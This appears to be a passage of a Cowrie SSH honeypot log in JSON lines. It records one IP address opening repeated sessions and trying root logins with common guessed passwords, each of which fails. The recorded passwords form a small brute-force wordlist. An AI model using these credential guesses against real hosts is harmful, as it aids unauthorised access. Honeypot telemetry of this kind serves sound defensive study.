{"eventid":"cowrie.login.failed","username":"root","password":"Aa@112211","message":"login attempt [root/Aa@112211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:35.279778Z","src_ip":"60.165.124.241","session":"5dd8dfa54afd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:36.532907Z","src_ip":"60.165.124.241","session":"5dd8dfa54afd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51454,"dst_ip":"10.17.0.5","dst_port":22,"session":"95a13df8e146","protocol":"ssh","message":"New connection: 60.165.124.241:51454 (10.17.0.5:22) [session: 95a13df8e146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:36.756604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:36.761592Z","src_ip":"60.165.124.241","session":"95a13df8e146","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:36.999308Z","src_ip":"60.165.124.241","session":"95a13df8e146","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135792468","message":"login attempt [root/135792468] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:37.718138Z","src_ip":"60.165.124.241","session":"95a13df8e146","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:38.960954Z","src_ip":"60.165.124.241","session":"95a13df8e146","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54462,"dst_ip":"10.17.0.5","dst_port":22,"session":"245e76d7bd88","protocol":"ssh","message":"New connection: 60.165.124.241:54462 (10.17.0.5:22) [session: 245e76d7bd88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:39.212013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:39.218067Z","src_ip":"60.165.124.241","session":"245e76d7bd88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:39.468615Z","src_ip":"60.165.124.241","session":"245e76d7bd88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass2003","message":"login attempt [root/pass2003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:40.212451Z","src_ip":"60.165.124.241","session":"245e76d7bd88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:41.460622Z","src_ip":"60.165.124.241","session":"245e76d7bd88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57324,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae1354932faa","protocol":"ssh","message":"New connection: 60.165.124.241:57324 (10.17.0.5:22) [session: ae1354932faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:41.684552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:41.689137Z","src_ip":"60.165.124.241","session":"ae1354932faa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:41.925171Z","src_ip":"60.165.124.241","session":"ae1354932faa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567!","message":"login attempt [root/Aa1234567!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:42.644840Z","src_ip":"60.165.124.241","session":"ae1354932faa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:43.883262Z","src_ip":"60.165.124.241","session":"ae1354932faa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60380,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfbf0a044df8","protocol":"ssh","message":"New connection: 60.165.124.241:60380 (10.17.0.5:22) [session: cfbf0a044df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:44.159612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:44.162763Z","src_ip":"60.165.124.241","session":"cfbf0a044df8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:44.420881Z","src_ip":"60.165.124.241","session":"cfbf0a044df8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456..","message":"login attempt [root/aA123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:45.201517Z","src_ip":"60.165.124.241","session":"cfbf0a044df8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:46.464548Z","src_ip":"60.165.124.241","session":"cfbf0a044df8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35286,"dst_ip":"10.17.0.5","dst_port":22,"session":"f12d11a2faba","protocol":"ssh","message":"New connection: 60.165.124.241:35286 (10.17.0.5:22) [session: f12d11a2faba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:46.698370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:46.702670Z","src_ip":"60.165.124.241","session":"f12d11a2faba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:46.950667Z","src_ip":"60.165.124.241","session":"f12d11a2faba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"voyage","message":"login attempt [root/voyage] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:47.713212Z","src_ip":"60.165.124.241","session":"f12d11a2faba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:48.963566Z","src_ip":"60.165.124.241","session":"f12d11a2faba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38250,"dst_ip":"10.17.0.5","dst_port":22,"session":"83f66c936a9e","protocol":"ssh","message":"New connection: 60.165.124.241:38250 (10.17.0.5:22) [session: 83f66c936a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:49.182521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:49.186924Z","src_ip":"60.165.124.241","session":"83f66c936a9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:49.421368Z","src_ip":"60.165.124.241","session":"83f66c936a9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lenovo@123","message":"login attempt [root/lenovo@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:50.144583Z","src_ip":"60.165.124.241","session":"83f66c936a9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:51.381850Z","src_ip":"60.165.124.241","session":"83f66c936a9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41194,"dst_ip":"10.17.0.5","dst_port":22,"session":"16f9a65e19ff","protocol":"ssh","message":"New connection: 60.165.124.241:41194 (10.17.0.5:22) [session: 16f9a65e19ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:51.639613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:51.643824Z","src_ip":"60.165.124.241","session":"16f9a65e19ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:51.890712Z","src_ip":"60.165.124.241","session":"16f9a65e19ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"CTyun@123","message":"login attempt [root/CTyun@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:52.639652Z","src_ip":"60.165.124.241","session":"16f9a65e19ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:53.898869Z","src_ip":"60.165.124.241","session":"16f9a65e19ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44154,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a84008c038c","protocol":"ssh","message":"New connection: 60.165.124.241:44154 (10.17.0.5:22) [session: 6a84008c038c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:54.124055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:54.128667Z","src_ip":"60.165.124.241","session":"6a84008c038c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:54.368069Z","src_ip":"60.165.124.241","session":"6a84008c038c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w#E$R","message":"login attempt [root/1q2w#E$R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:55.093127Z","src_ip":"60.165.124.241","session":"6a84008c038c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:56.337839Z","src_ip":"60.165.124.241","session":"6a84008c038c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47076,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb60c1cf36e7","protocol":"ssh","message":"New connection: 60.165.124.241:47076 (10.17.0.5:22) [session: fb60c1cf36e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:56.580838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:56.585666Z","src_ip":"60.165.124.241","session":"fb60c1cf36e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-ce